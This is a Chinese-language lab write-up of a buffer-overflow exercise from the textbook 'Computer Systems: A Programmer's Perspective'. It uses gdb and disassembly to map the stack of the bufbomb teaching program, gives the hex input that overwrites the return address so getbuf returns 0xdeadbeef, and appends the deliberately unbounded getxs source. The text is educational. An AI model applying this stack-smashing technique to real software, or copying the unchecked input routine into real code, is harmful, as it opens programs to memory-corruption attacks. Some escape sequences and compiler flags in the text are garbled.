缓冲区溢出实验
本内容为《深入理解计算机系统》P199页第38题的实验分析。实验分析平台为:操作系统 Linux,FD,编译系统为gcc。
下载文件bufbomb.c,在gcc上运行以下命令
gcc –O2 –c bufbomb.c
gcc –O2 –S bufbomb.c
gcc –O2 –O bufbomb bufbomb.c
可以分别得到二进制文件,反汇编文件以及可执行文件。其实我们主要分析的时候是参考最后一个文件。
分析bufbomb.c的源代码可以发现,在函数getbuf中
int getbuf()
{
char buf[12];
getxs(buf);
return 1;
}
分配了12个字节的内存空间,该存储空间会被传送到getxs函数中,而在getxs函数中,控制字符读取的操作为在buffer中得到回车键或者是eof,它可能会超过我们设置的buffer大小,造成buffer的溢出。
我们主要分析getbuf以及test模块,来达到我们的目的。
对于getbuf,我们得到的反编译结果如下:
080484c0
80484c0: 55 push %ebp;
80484c1: 89 e5 mov %esp,%ebp
80484c3: 8d 45 e8 lea 0xffffffe8(%ebp),%eax
80484c6: 83 ec 24 sub $0x24,%esp
80484c9: 50 push %eax
80484ca: e8 4d ff ff ff call 804841c
80484cf: b8 01 00 00 00 mov $0x1,%eax
80484d4: c9 leave
80484d5: c3 ret
80484d6: 89 f6 mov %esi,%esi
其对应的栈堆结构如下
我们申请的buf当然没有那么大,是12个字节,但是编译器给出来的实际buf的大小如我们标注所示,为24个字节。buf[0]实际为上述ebp-27的单元。因此正常buf范围是ebp-27~ebp-4,对应buf[0]~buf[23],而buf[24]~buf[27]实际为我们所保存的ebp,也就是对应在test模块中的ebp,buf[28]~buf[31]为返回地址,实际为返回到test所要执行的代码。
我们采用gdb来确认该模块的重要的参数。在控制台输入
gdb bufbomb
我们就可以调试该程序。我们知道0x080484c3是在getbuf模块以内,我们在此处设置break。方法为
b *0x080484c3
然后运行程序
r
到达这里的时候会自动break,我们得到的结果为%ebp=0xfef38fb8。那么其对应地址单元的内容就是test模块的%ebp,我们采用以下命令获得
print *(int *) 0xfef38fb8 //输出0xfef38fb8单元双字的内容
得到为 -17592360,采用gdb工具得到十六进制
Print /x -17592360
为0xfef38fd8。可见test段对应的堆栈大小为0x20(32个字节)。
接着我们查看返回地址,因为它的地址是0xfef38fbc,得到返回地址是0x080484ed。在我们后面test模块的反编译看到,实际就是其调用后面的那句。
下面我们分析test模块。其反编译结果为
080484d8
80484d8: 55 push %ebp
80484d9: 89 e5 mov %esp,%ebp
80484db: 83 ec 14 sub $0x14,%esp
80484de: 68 0c 86 04 08 push $0x804860c
80484e3: e8 5c fe ff ff call 8048344
80484e8: e8 d3 ff ff ff call 80484c0
80484ed: 5a pop %edx
80484ee: 59 pop %ecx
80484ef: 50 push %eax
80484f0: 68 1d 86 04 08 push $0x804861d
80484f5: e8 4a fe ff ff call 8048344
80484fa: c9 leave
80484fb: c3 ret
分析可见,黄色显示的代码为printf的参数,并且它先将要输出的数据保存到堆栈中,接着将输出格式的首地址保存到堆栈中,紧接着函数printf启动,其地址为0x08048344。本来我们的getbuf的返回来的地址应当是执行0x080484ed单元的指令,我们可以让它直接返回到0x080484f5中printf中。我们可以画出来对应的堆栈结构为(此处分析为从getbuf返回以后的堆栈情况)
我们的核心目的就是更改这些数据块的内容,使得最后的结果我们预料的结果。首先保存的ebp是不能改变的,它涉及到我们最终返回到test中,这个数据为0xfef38fd8。返回地址我们就将它直接返回到printf语句,为0x080484f5。好最后,我们知道了我们需要输入的数据为
(任意24个字符)d8 8f f3 fe f5 84 04 08 1d 86 04 08 ef be ad de
由此我们顺利的将返回值变成了deadbeef,完成了攻击。
为了大家写文章的积极性,转载请自觉注明,谢谢!
欢迎交流。
qq:14791213
mail:[email protected]
×××××××××××××××××××××××××××××××
bufbomb.c
××××××××××××××××××××××××××××××
/* Bomb program that is solved using a buffer overflow attack */
#include
#include
#include
/* Like gets, except that characters are typed as pairs of hex digits.
Nondigit characters are ignored. Stops when encounters newline */
char *getxs(char *dest)
{
int c;
int even = 1; /* Have read even number of digits */
int otherd = 0; /* Other hex digit of pair */
char *sp = dest;
while ((c = getchar()) != EOF && c != '/n') {
if (isxdigit(c)) {
int val;
if ('0' <= c && c <= '9')
val = c - '0';
else if ('A' <= c && c <= 'F')
val = c - 'A' + 10;
else
val = c - 'a' + 10;
if (even) {
otherd = val;
even = 0;
} else {
*sp++ = otherd * 16 + val;
even = 1;
}
}
}
*sp++ = '/0';
return dest;
}
/* $begin getbuf-c */
int getbuf()
{
char buf[12];
getxs(buf);
return 1;
}
void test()
{
int val;
printf("Type Hex string:");
val = getbuf();
printf("getbuf returned 0x%x/n", val);
}
/* $end getbuf-c */
int main()
{
int buf[16];
/* This little hack is an attempt to get the stack to be in a
stable position
*/
int offset = (((int) buf) & 0xFFF);
int *space = (int *) alloca(offset);
*space = 0; /* So that don't get complaint of unused variable */
test();
return 0;
}